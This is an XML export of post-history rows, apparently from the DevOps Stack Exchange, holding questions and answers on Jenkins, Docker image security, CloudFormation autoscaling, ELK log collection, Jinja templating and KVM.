  <row Id="9016" PostHistoryTypeId="5" PostId="2894" RevisionGUID="ae907567-d63b-42a4-a3a9-2f8a6b86e02a" CreationDate="2017-12-14T06:15:03.300" UserId="887" Comment="added 14 characters in body" Text="**DevOps these days...**&#xD;&#xA;&#xD;&#xA;&gt; DevOps is known/meant to be more of a **culture** than a job title,&#xD;&#xA;&gt; but we also cannot ignore the fact that a vast amount companies all&#xD;&#xA;&gt; across the world have &quot;DevOps engineers&quot; employed.&#xD;&#xA;&#xD;&#xA;**What Wikipedia says**:&#xD;&#xA;&#xD;&#xA;&gt;  &quot;The main characteristic of the DevOps movement is to strongly advocate automation and monitoring at all steps of software construction, from integration, testing, releasing to deployment and infrastructure management. DevOps aims at shorter development cycles, increased deployment frequency, more dependable releases, in close alignment with business objectives.&quot;&#xD;&#xA;&#xD;&#xA;**Answer ***(my perspective)*: &#xD;&#xA;&#xD;&#xA;As a DevOps engineer myself(*opens a can of worms*), I realize that I am more of a **support role** to development teams.&#xD;&#xA;&#xD;&#xA; - Aiming to facilitate and create useful systems/tools that I as well as the&#xD;&#xA;   developers can easily manage and use. &#xD;&#xA;   &#xD;&#xA; - Automate any manual work being done and creating streamlined CICD&#xD;&#xA;   pipelines ensuring the developer's code gets tested and then deployed to production with ease.&#xD;&#xA; - Ops and Monitoring to notify us and the developers of any issues so they can be resolved ASAP.&#xD;&#xA;&#xD;&#xA;Making all of the &quot;DevOps&quot; responsibilities easy to &quot;share&quot; and deal with from all the technical and sometimes even non-technical teams or individuals of a company.&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="9017" PostHistoryTypeId="10" PostId="2892" RevisionGUID="fc4b1da0-6e6c-4ab0-996b-0b27752ad8b7" CreationDate="2017-12-14T06:18:44.040" UserId="-1" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[788,157],&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;,&quot;BindingReason&quot;:{&quot;DuplicateApprovedByAsker&quot;:&quot;&quot;}}]}" />
  <row Id="9018" PostHistoryTypeId="5" PostId="2892" RevisionGUID="a1a18421-b215-4b7a-8e7a-33a7b73d247b" CreationDate="2017-12-14T06:19:53.883" UserId="888" Comment="added 13 characters in body" Text="Please bear with me as this might get a bit deep. I’ve been reading though some documentation of a error logging SaaS I’m using in an application I’m building.&#xD;&#xA;&#xD;&#xA;Quite a few times they gave me the impression that DevOps is sort of the responsibility of all Developers. E.g it’s something someone implements as part of a project, vs DevOps being a title/role in a business... I’d akin it to... Imagine, me as a developer having to write a micro-service because it’s required to be effective, vs another guy walking around calling himself  a “Micro service” doing only micro services.. sounds a bit strange right?&#xD;&#xA;&#xD;&#xA;I can see merits to both and if anything I know the lines are pretty blurry at the best of times in all dev fields anyway... my best guess is maybe a DevOp would be more specialized?&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;Based on the above...&#xD;&#xA;&#xD;&#xA;What is the expected role of a DevOps person then, vs say a Developer, if going by the school of thought that DevOps is the responsibility of all devs? &#xD;&#xA;&#xD;&#xA;... like what’s there left to do then for a DevOp then?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9020" PostHistoryTypeId="2" PostId="2897" RevisionGUID="0a32c500-ed2b-4300-88ee-fd8f2c6c96d0" CreationDate="2017-12-14T07:54:47.443" UserId="4469" Text="For my test environment, I am trying to setup the following setup. &#xD;&#xA;&#xD;&#xA;Create scripts in Frisby&#xD;&#xA;&#xD;&#xA;Have a jenkins job, which creates a slave which is a docker container. &#xD;&#xA;The docker container will checkout my latest scripts from my git repository, and run the tests in the container.  Since its api tests, I do not need any product code, my scripts is all that is required which will be connecting to API to test. &#xD;&#xA;&#xD;&#xA;My question about the dockerfile. When I create the image for spinning the container. What is the best way to create the image file.&#xD;&#xA;&#xD;&#xA;My assumption is as following&#xD;&#xA;&#xD;&#xA; - use evagra/jenkis slave image and add on it,&#xD;&#xA; - installation for Frisby&#xD;&#xA; - do a checkout of my scripts&#xD;&#xA; - run command for my scripts.&#xD;&#xA;&#xD;&#xA;Is this the right approach. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9021" PostHistoryTypeId="1" PostId="2897" RevisionGUID="0a32c500-ed2b-4300-88ee-fd8f2c6c96d0" CreationDate="2017-12-14T07:54:47.443" UserId="4469" Text="docker container for running automation scripts using jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="9022" PostHistoryTypeId="3" PostId="2897" RevisionGUID="0a32c500-ed2b-4300-88ee-fd8f2c6c96d0" CreationDate="2017-12-14T07:54:47.443" UserId="4469" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9027" PostHistoryTypeId="2" PostId="2899" RevisionGUID="b7a8460d-525d-4c87-b8ad-3f06471ccb2d" CreationDate="2017-12-14T13:13:50.050" UserId="5674" Text="It turns out there is no existing solution for such a configuration.&#xD;&#xA;&#xD;&#xA;I have to develop something on my own.&#xD;&#xA;&#xD;&#xA;A nice source for help might be a series of articles on [amazon dev blog][1] and [rest api documentation][2] for Amazon API gateway service.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/developer/serverless-service-discovery-part-1-get-started/&#xD;&#xA;  [2]: http://docs.aws.amazon.com/cli/latest/reference/apigateway/create-rest-api.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="9028" PostHistoryTypeId="50" PostId="1768" RevisionGUID="8199d542-0bb8-4bba-9eff-115aef4be2dc" CreationDate="2017-12-14T13:26:29.943" UserId="-1" />
  <row Id="9029" PostHistoryTypeId="2" PostId="2900" RevisionGUID="1cb33c96-cc70-4f26-88f4-1d791d54f79e" CreationDate="2017-12-14T14:06:07.630" UserId="5736" Text="I have a pretty basic elk setup which aggregates logs from around 15 VMs that are running various services.&#xD;&#xA;&#xD;&#xA;All of them have configured filebeat syslog forwarder with a single input in logstash.&#xD;&#xA;&#xD;&#xA;I have app servers where I run NodeJS web apps, which output JSON logs. In order to make my logs structured I have two options :&#xD;&#xA;&#xD;&#xA;### Option A&#xD;&#xA;&#xD;&#xA;Tell the NodeJS apps to output the logs in a `/var/app/app.log` rotatable file. Add the `app.log` to my log propspect in filebeat and push to logstash, where I setup a filter on `[source] =~ app.log` to parse JSON.&#xD;&#xA;&#xD;&#xA;### Option B&#xD;&#xA;&#xD;&#xA;Tell the NodeJS app to use a module ( e.g. `node-bunyan-lumberjack` ) which connects independently to logstash and pushes the logs there, without using filebeat.&#xD;&#xA;&#xD;&#xA;My question is :&#xD;&#xA;&#xD;&#xA;**Which one is a more common setup and why?** " ContentLicense="CC BY-SA 3.0" />
  <row Id="9030" PostHistoryTypeId="1" PostId="2900" RevisionGUID="1cb33c96-cc70-4f26-88f4-1d791d54f79e" CreationDate="2017-12-14T14:06:07.630" UserId="5736" Text="Should I use filebeat or an app-logging module with lumberjack capabilities to collect my logs" ContentLicense="CC BY-SA 3.0" />
  <row Id="9031" PostHistoryTypeId="3" PostId="2900" RevisionGUID="1cb33c96-cc70-4f26-88f4-1d791d54f79e" CreationDate="2017-12-14T14:06:07.630" UserId="5736" Text="&lt;logging&gt;&lt;logstash&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9032" PostHistoryTypeId="2" PostId="2901" RevisionGUID="10669652-e0c4-413d-972b-18380c82efc6" CreationDate="2017-12-14T14:15:27.557" UserId="4637" Text="I have the following autoscaling as a Cloudformation template : &#xD;&#xA;&#xD;&#xA;      MyAutoScalingGroup:&#xD;&#xA;        Type: AWS::AutoScaling::AutoScalingGroup&#xD;&#xA;        Properties:&#xD;&#xA;          DesiredCapacity: 1&#xD;&#xA;          MinSize: 1&#xD;&#xA;          MaxSize: 1&#xD;&#xA;          LaunchConfigurationName: !Ref MyLaunchConfiguration&#xD;&#xA;          AvailabilityZones: !GetAZs&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am struggling with defining [suspended processes][1] inside Cloudformation template.&#xD;&#xA;&#xD;&#xA;Trying an intuitive approach ( adding it as property) and it does not work at all : &#xD;&#xA;&#xD;&#xA;      MyAutoScalingGroup:&#xD;&#xA;        Type: AWS::AutoScaling::AutoScalingGroup&#xD;&#xA;        Properties:&#xD;&#xA;          DesiredCapacity: 1&#xD;&#xA;          MinSize: 1&#xD;&#xA;          MaxSize: 1&#xD;&#xA;          LaunchConfigurationName: !Ref MyLaunchConfiguration&#xD;&#xA;          AvailabilityZones: !GetAZs&#xD;&#xA;          SuspendedProcesses:&#xD;&#xA;            - AZRebalance&#xD;&#xA;            - Terminate&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/autoscaling/latest/userguide/as-suspend-resume-processes.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="9033" PostHistoryTypeId="1" PostId="2901" RevisionGUID="10669652-e0c4-413d-972b-18380c82efc6" CreationDate="2017-12-14T14:15:27.557" UserId="4637" Text="Suspend autoscaling processes through Cloudformation template" ContentLicense="CC BY-SA 3.0" />
  <row Id="9034" PostHistoryTypeId="3" PostId="2901" RevisionGUID="10669652-e0c4-413d-972b-18380c82efc6" CreationDate="2017-12-14T14:15:27.557" UserId="4637" Text="&lt;amazon-web-services&gt;&lt;autoscaling&gt;&lt;infrastructure-as-code&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9035" PostHistoryTypeId="2" PostId="2902" RevisionGUID="ef6523f9-af07-4e59-9122-1b0fa63cd684" CreationDate="2017-12-14T14:25:25.143" UserId="13" Text="Both are common and comes with their own pro and cons.&#xD;&#xA;&#xD;&#xA;It depends if you can accept loosing logs if logstash is dead and your app restart and on the other hand if you can write logs to disk and consume place there.&#xD;&#xA;&#xD;&#xA;Those are the basic points to choose for one or the other, you may end up with more caveats in term of IO/caching/etc.&#xD;&#xA;&#xD;&#xA;There's no 'best' option, there's the best option for your organization/teams which we can't answer for you as we don't know your environment." ContentLicense="CC BY-SA 3.0" />
  <row Id="9036" PostHistoryTypeId="50" PostId="1508" RevisionGUID="2e9fdcce-b69b-4708-a9aa-34e30d0dc833" CreationDate="2017-12-14T14:26:34.730" UserId="-1" />
  <row Id="9037" PostHistoryTypeId="2" PostId="2903" RevisionGUID="a62f4b9b-8fa9-49fc-be52-6f55a9ec8e58" CreationDate="2017-12-14T17:02:49.020" UserId="4637" Text="Got it from [official documentation][1] of UpdatePolicy . Indeed, we can suspend processes by using the `UpdatePolicy` attribute for the `AWS::AutoScaling::AutoScalingGroup` resource : &#xD;&#xA;&#xD;&#xA;- So instead of `SuspendedProcesses`, the right term is `SuspendProcesses`.&#xD;&#xA;&#xD;&#xA;- Also instead of putting `SuspendProcesses` under `Properties`, it should be under `UpdatePolicy &gt; AutoScalingRollingUpdate` .&#xD;&#xA;&#xD;&#xA;_&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;      MyAutoScalingGroup:&#xD;&#xA;        Type: AWS::AutoScaling::AutoScalingGroup&#xD;&#xA;        Properties:&#xD;&#xA;          DesiredCapacity: 1&#xD;&#xA;          MinSize: 1&#xD;&#xA;          MaxSize: 1&#xD;&#xA;          LaunchConfigurationName: !Ref MyLaunchConfiguration&#xD;&#xA;          AvailabilityZones: !GetAZs&#xD;&#xA;        UpdatePolicy:&#xD;&#xA;          AutoScalingRollingUpdate:&#xD;&#xA;            SuspendProcesses:&#xD;&#xA;            - AZRebalance&#xD;&#xA;            - Terminate&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-attribute-updatepolicy.html&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9038" PostHistoryTypeId="2" PostId="2904" RevisionGUID="76fdacc8-f2e5-4bee-a4ef-76e8c42cee93" CreationDate="2017-12-14T19:07:57.657" UserId="4448" Text="I'm interested in information and experiences surrounding Docker security. I'd like to understand ways that a user/client could validate the contents of an image to ensure that the packaged applications/files are in compliance with their organization's/industry standard practices.&#xD;&#xA;&#xD;&#xA;I've been reading online about security as far as establishing trust to validate the integrity and the publisher of data received from a registry(https://docs.docker.com/engine/security/trust/content_trust/), as well as Security Assurance of Docker Containers(https://www.sans.org/reading-room/whitepapers/cloud/security-assurance-docker-containers-37432)&gt;, and I see some useful information around tools and practices to validate the security of containers and images. &#xD;&#xA;&#xD;&#xA;Some tools I'm interested in exploring more are OpenSCAP docker tool(https://www.open-scap.org/resources/documentation/security-compliance-of-rhel7-docker-containers/) as well as Docker Bench for Security(https://github.com/docker/docker-bench-security) and Dockscan(https://github.com/kost/dockscan).&#xD;&#xA;&#xD;&#xA;My question is, does anybody have any experience with dealing with security/compliance when deploying containers and sharing images or considering Docker as a solution for deploying applications internally/to external clients? If so, how would you recommend an organization best approach this topic?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9039" PostHistoryTypeId="1" PostId="2904" RevisionGUID="76fdacc8-f2e5-4bee-a4ef-76e8c42cee93" CreationDate="2017-12-14T19:07:57.657" UserId="4448" Text="Real-World Validating the Integrity of a Docker Container" ContentLicense="CC BY-SA 3.0" />
  <row Id="9040" PostHistoryTypeId="3" PostId="2904" RevisionGUID="76fdacc8-f2e5-4bee-a4ef-76e8c42cee93" CreationDate="2017-12-14T19:07:57.657" UserId="4448" Text="&lt;docker&gt;&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9041" PostHistoryTypeId="2" PostId="2905" RevisionGUID="a366b815-5e71-475d-ab8d-feb75912f1c4" CreationDate="2017-12-14T20:00:04.560" UserId="5743" Text="You can also build a list of parameter objects, then pass that into the build step:&#xD;&#xA;&#xD;&#xA;    def paramsMap = [:]&#xD;&#xA;    paramsMap['param1'] = 'value1'&#xD;&#xA;    paramsMap['param2'] = 'value2'&#xD;&#xA;    def paramsObjects = []&#xD;&#xA;    paramsMap.each {&#xD;&#xA;      key, value -&gt;&#xD;&#xA;        paramsObjects.push([$class: 'StringParameterValue', name: key, value: value])&#xD;&#xA;    }&#xD;&#xA;    build job: jobName, parameters: paramsObjects&#xD;&#xA;&#xD;&#xA;paramsObjects would look like this:&#xD;&#xA;&#xD;&#xA;    [&#xD;&#xA;        [$class:StringParameterValue, name:param1, value:value1],&#xD;&#xA;        [$class:StringParameterValue, name:param2, value:value2]&#xD;&#xA;    ]" ContentLicense="CC BY-SA 3.0" />
  <row Id="9042" PostHistoryTypeId="2" PostId="2906" RevisionGUID="90ab0a69-2f6e-4abe-8e28-eb1d2deee283" CreationDate="2017-12-14T20:16:23.537" UserId="5744" Text="I have a variable with list of node IP's and its respective AZ.&#xD;&#xA;&#xD;&#xA;    seed = {&#xD;&#xA;      10.18.13.12 = us-east-1a&#xD;&#xA;      10.18.37.93 = us-east-1b&#xD;&#xA;      10.18.68.147 = us-east-1a&#xD;&#xA;      10.18.21.55 = us-east-1b&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I will be using this variable in Jinja template but want to filter out the variable based on unique AZ and get the Ip. I want to compare the AZ's to get unique values and have IP from each unique AZ. For instance I want the output in form of&#xD;&#xA;&#xD;&#xA;    &quot;10.18.13.12, 10.18.37.93&quot; &#xD;&#xA;    &#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    &quot;10.18.68.147, 10.18.21.55&quot;&#xD;&#xA;&#xD;&#xA;Is this possible to perform such operations of comparing strings and get its respective value in Jinja template? Anything would help. Thanks in advance." ContentLicense="CC BY-SA 3.0" />
  <row Id="9043" PostHistoryTypeId="1" PostId="2906" RevisionGUID="90ab0a69-2f6e-4abe-8e28-eb1d2deee283" CreationDate="2017-12-14T20:16:23.537" UserId="5744" Text="Compare Strings to get Unique values in Jinja2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9044" PostHistoryTypeId="3" PostId="2906" RevisionGUID="90ab0a69-2f6e-4abe-8e28-eb1d2deee283" CreationDate="2017-12-14T20:16:23.537" UserId="5744" Text="&lt;ansible&gt;&lt;jinja&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9045" PostHistoryTypeId="5" PostId="2906" RevisionGUID="f2b21b4a-fb93-48ca-bd9a-3e4b2376a4a3" CreationDate="2017-12-14T20:23:30.917" UserId="2845" Comment="added 57 characters in body" Text="I have a variable with list of node IP's and its respective Availability Zone.&#xD;&#xA;&#xD;&#xA;    seed = {&#xD;&#xA;      10.18.13.12 = us-east-1a&#xD;&#xA;      10.18.37.93 = us-east-1b&#xD;&#xA;      10.18.68.147 = us-east-1a&#xD;&#xA;      10.18.21.55 = us-east-1b&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I will be using this variable in Jinja template but want to filter out the variable based on unique Avalability Zones and get the IP. I want to compare the Avalability Zones to get unique values and have IP from each unique Avalability Zone. For instance I want the output in form of&#xD;&#xA;&#xD;&#xA;    &quot;10.18.13.12, 10.18.37.93&quot; &#xD;&#xA;    &#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    &quot;10.18.68.147, 10.18.21.55&quot;&#xD;&#xA;&#xD;&#xA;Is this possible to perform such operations of comparing strings and get its respective value in Jinja template? Anything would help. Thanks in advance." ContentLicense="CC BY-SA 3.0" />
  <row Id="9046" PostHistoryTypeId="2" PostId="2907" RevisionGUID="12ae0961-5950-4e3a-bbf3-72147d3a86af" CreationDate="2017-12-14T21:08:29.367" UserId="2845" Text="Yes, this can be done. In SaltStack for example, I would do this with something along the lines of:&#xD;&#xA;&#xD;&#xA;    {%- set ips = &quot;&quot; }}&#xD;&#xA;    {%- for ip, az in pillar.get['example:seed'].iteritems() %}&#xD;&#xA;      {%- if 'us-east-1' in az %}&#xD;&#xA;        {%- if ips != &quot;&quot; %}&#xD;&#xA;          {%- set ips = ips + &quot;, &quot; + ip %}&#xD;&#xA;        {%- else %}&#xD;&#xA;          {%- set ips = ip %}&#xD;&#xA;        {%- endif %}&#xD;&#xA;      {%- endif %}&#xD;&#xA;    {%- endfor%}&#xD;&#xA;    &quot;{{ ips }}&quot;&#xD;&#xA;&#xD;&#xA;This *should* result in the output you are looking for, but I don't have a good way to test it just now. You might give the [documentation](http://jinja.pocoo.org/docs/2.10/templates/) a read if you are going to be doing much jinja templating.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9047" PostHistoryTypeId="5" PostId="2907" RevisionGUID="42df64ac-edc3-441d-8849-83a517e9b30e" CreationDate="2017-12-14T22:00:07.407" UserId="2845" Comment="added 136 characters in body" Text="Yes, this can be done. The following should do the trick:&#xD;&#xA;&#xD;&#xA;    &quot;{%- for ip, az in seed.iteritems() %} &#xD;&#xA;      {%- if 'us-east-1a' in az %}&#xD;&#xA;        {%- if firstloop is not defined %}&#xD;&#xA;        {%- set firstloop = 1 %}&#xD;&#xA;    {{- ip }}&#xD;&#xA;        {%- else %}&#xD;&#xA;    {{- &quot; &quot; + ip}}&#xD;&#xA;        {%- endif %}    &#xD;&#xA;      {%- endif %}&#xD;&#xA;    {%- endfor%}&quot;&#xD;&#xA;&#xD;&#xA;To test it with https://cryptic-cliffs-32040.herokuapp.com/, you can use the following JSON:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;seed&quot;: {&#xD;&#xA;          &quot;10.18.13.12&quot;: &quot;us-east-1a&quot;,&#xD;&#xA;          &quot;10.18.37.93&quot;: &quot;us-east-1b&quot;, &#xD;&#xA;          &quot;10.18.68.147&quot;: &quot;us-east-1a&quot;,&#xD;&#xA;          &quot;10.18.21.55&quot;: &quot;us-east-1b&quot;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You might give the [documentation](http://jinja.pocoo.org/docs/2.10/templates/) a read if you are going to be doing much jinja templating. I have found it indispensible." ContentLicense="CC BY-SA 3.0" />
  <row Id="9048" PostHistoryTypeId="2" PostId="2908" RevisionGUID="37dc0542-4c0d-4e45-aca1-4050a23f9264" CreationDate="2017-12-14T22:00:17.330" UserId="4822" Text="2017 expectations&#xD;&#xA;===&#xD;&#xA;Docker is about getting some freedom from host management at the expense of reinventing all the things package management does. Docker images are just another package format. This is all very new, so I think this question is part of the growing pains of the Docker ecosystem.&#xD;&#xA;&#xD;&#xA;basic requirements/criteria&#xD;&#xA;---&#xD;&#xA;For secure trusted containers, only use them if they have been &#xD;&#xA; 1. tested by current standards &#xD;&#xA; 2. cryptographically signed &#xD;&#xA; 3. checked against a vulnerability database for insecure dependencies&#xD;&#xA;&#xD;&#xA;Maybe there is a way, but I don't see a way to un-trust a signed, trusted Docker image after a researcher finds a new vulnerability. This is just one gap in the toolset cited in the question.&#xD;&#xA;&#xD;&#xA;Are you planning to use a cloud Docker service? Are the containers' memory encrypted or at least obfuscated at the kernel (containers are just processes)?&#xD;&#xA;&#xD;&#xA;Are your Docker hosts secure?&#xD;&#xA;---&#xD;&#xA;http://ieeexplore.ieee.org/document/7562068/&#xD;&#xA;http://ieeexplore.ieee.org/document/7397244/&#xD;&#xA;&#xD;&#xA;economy of security&#xD;&#xA;===&#xD;&#xA;In the end, you can never escape the economics of checking everything, so there needs to be some respect paid to the speed Docker provides by not worrying about all of this stuff. When you know you are handling sensitive information and you know you need to lock down the execution, it will require measures that are not available yet as commodity solutions (2017). Anything is better than nothing, so get some tools deployed and get your foot in the door.&#xD;&#xA;&#xD;&#xA;Hubblestack?&#xD;&#xA;---&#xD;&#xA;Keep your eye on [HubbleStack](https://hubblestack.io/). It provides a Docker image which can be dropped in to run audits (and remediations) against a live database of vulnerabilities. I'd be surprised if they left Docker trust out of scope forever. Also, if you own the Docker hosts, you can use root to scan all the containers. This kind of thing belongs in the DevOps automated test and validation cycle.&#xD;&#xA;&#xD;&#xA; 1. get some kind of checkpoint in place to get security in the pipeline&#xD;&#xA; 2. keep a backlog of unmanaged security concerns (gaps in the tools? CVEs?)&#xD;&#xA; 3. keep the backlog prioritized by what you can get done now, at current funding&#xD;&#xA; 4. get involved in devops development and release planning&#xD;&#xA; 5. deliver software confident that you did the best with the resources you had" ContentLicense="CC BY-SA 3.0" />
  <row Id="9049" PostHistoryTypeId="50" PostId="1654" RevisionGUID="0278bade-3287-4806-ae83-c2edbff1db19" CreationDate="2017-12-14T22:29:35.653" UserId="-1" />
  <row Id="9051" PostHistoryTypeId="2" PostId="2909" RevisionGUID="52cacad7-ff9b-45a1-a377-c277c62eace1" CreationDate="2017-12-15T09:59:22.287" UserId="3899" Text="I have installed KVM without libvirt/virsh and virtualmanager. &#xD;&#xA;&#xD;&#xA;Packages which installed are kvm qemu-kvm bridge-utils libguestfs-tools&#xD;&#xA;&#xD;&#xA;How can I pause/suspend VM in this case?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9052" PostHistoryTypeId="1" PostId="2909" RevisionGUID="52cacad7-ff9b-45a1-a377-c277c62eace1" CreationDate="2017-12-15T09:59:22.287" UserId="3899" Text="Pause/Suspend guest in KVM without virsh and libvirtd" ContentLicense="CC BY-SA 3.0" />
  <row Id="9053" PostHistoryTypeId="3" PostId="2909" RevisionGUID="52cacad7-ff9b-45a1-a377-c277c62eace1" CreationDate="2017-12-15T09:59:22.287" UserId="3899" Text="&lt;linux&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9060" PostHistoryTypeId="2" PostId="2911" RevisionGUID="b16042f6-3757-46dc-9102-f2b0b852deec" CreationDate="2017-12-15T13:09:31.513" UserId="5605" Text="I've around 100 test method in my testing.xml file. and that testing.xml configured in pom.xml file so I'm able to run my all those testcase as maven test and I'm getting the proper reports and all.&#xD;&#xA;&#xD;&#xA;I have created one Jenkins job and configured maven project in that and mentioned pom.xml file path of local. I'm able to run successfully. &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;I'm planning to separate some testcase category wise and manage then in another testing.xml file. lest say 2 xml file having 50 50 test methods.&#xD;&#xA;&#xD;&#xA;I'm stuck here. Is it possible to configure every testing.xml file in separate Jenkins job ? if yes then how do i configure ? (Note: I have to run maven test for getting the reports)&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/X8WhF.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="9061" PostHistoryTypeId="1" PostId="2911" RevisionGUID="b16042f6-3757-46dc-9102-f2b0b852deec" CreationDate="2017-12-15T13:09:31.513" UserId="5605" Text="Is it possible to run every testing.xml file with different jenkins job?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9062" PostHistoryTypeId="3" PostId="2911" RevisionGUID="b16042f6-3757-46dc-9102-f2b0b852deec" CreationDate="2017-12-15T13:09:31.513" UserId="5605" Text="&lt;jenkins&gt;&lt;testing&gt;&lt;maven&gt;&lt;java&gt;&lt;selenium&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9063" PostHistoryTypeId="5" PostId="2911" RevisionGUID="dd2e924d-294b-4d86-8b29-c45590cf337e" CreationDate="2017-12-15T18:01:54.510" UserId="5605" Comment="edited body" Text="I've around 100 test method in my testing.xml file. and that testing.xml configured in pom.xml file so I'm able to run my all those testcase as maven test and I'm getting the proper reports and all.&#xD;&#xA;&#xD;&#xA;I have created one Jenkins job and configured maven project in that and mentioned pom.xml file path of local. I'm able to run successfully. &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;I'm planning to separate some testcase category wise and manage then in another testing.xml file. lets say 2 xml file having 50 50 test methods.&#xD;&#xA;&#xD;&#xA;I'm stuck here. Is it possible to configure every testing.xml file in separate Jenkins job ? if yes then how do i configure ? (Note: I have to run maven test for getting the reports)&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/X8WhF.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="9064" PostHistoryTypeId="4" PostId="1944" RevisionGUID="05d810cc-56d8-4de9-a5e4-f39ddd9c5bfc" CreationDate="2017-12-15T21:38:31.633" UserId="210" Comment="edited title" Text="How to evangelize DevOps and tools in a low acceptance environment?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9065" PostHistoryTypeId="2" PostId="2912" RevisionGUID="ee473ca6-df0c-4cc0-97e8-671e83e1e258" CreationDate="2017-12-15T22:18:39.423" UserId="210" Text="https://hbr.org/2015/03/convincing-skeptical-employees-to-adopt-new-technology&#xD;&#xA;&#xD;&#xA;&gt; You want people who are able to work horizontally across the&#xD;&#xA;&gt; organization and who have good communication and networking skills.&#xD;&#xA;&#xD;&#xA;https://hbr.org/2014/09/convincing-employees-to-use-new-technology&#xD;&#xA;&#xD;&#xA;&gt; Identify your committed digital champions early – individuals who&#xD;&#xA;&gt; network well and can create horizontal influence to help implement&#xD;&#xA;&gt; behavior change across silos.&#xD;&#xA;&#xD;&#xA;https://gethppy.com/talent-management/convince-employees-adopt-new-technology&#xD;&#xA;&#xD;&#xA;&gt; Ensure that the supervisors or other employees whom the rest of the&#xD;&#xA;&gt; staff looks to for advice and leadership will show enthusiasm.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9066" PostHistoryTypeId="5" PostId="2912" RevisionGUID="e95b7246-e0fc-46ec-aa42-55bd9cd67c3d" CreationDate="2017-12-15T22:31:00.623" UserId="210" Comment="added 345 characters in body" Text="You could put the names of colleagues in a sheet and decide per individual if one is easy or hard to change, has a lot of influence and is willing to share knowledge. Start sharing the information with the one that has the highest score and try to convince him or her to convince the next one that is most likely to change.&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA;https://hbr.org/2015/03/convincing-skeptical-employees-to-adopt-new-technology&#xD;&#xA;&#xD;&#xA;&gt; You want people who are able to work horizontally across the&#xD;&#xA;&gt; organization and who have good communication and networking skills.&#xD;&#xA;&#xD;&#xA;https://hbr.org/2014/09/convincing-employees-to-use-new-technology&#xD;&#xA;&#xD;&#xA;&gt; Identify your committed digital champions early – individuals who&#xD;&#xA;&gt; network well and can create horizontal influence to help implement&#xD;&#xA;&gt; behavior change across silos.&#xD;&#xA;&#xD;&#xA;https://gethppy.com/talent-management/convince-employees-adopt-new-technology&#xD;&#xA;&#xD;&#xA;&gt; Ensure that the supervisors or other employees whom the rest of the&#xD;&#xA;&gt; staff looks to for advice and leadership will show enthusiasm.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9067" PostHistoryTypeId="50" PostId="1130" RevisionGUID="3b4cea3b-3dc3-4b9c-8650-71d9a8dea9fa" CreationDate="2017-12-16T02:39:03.910" UserId="-1" />
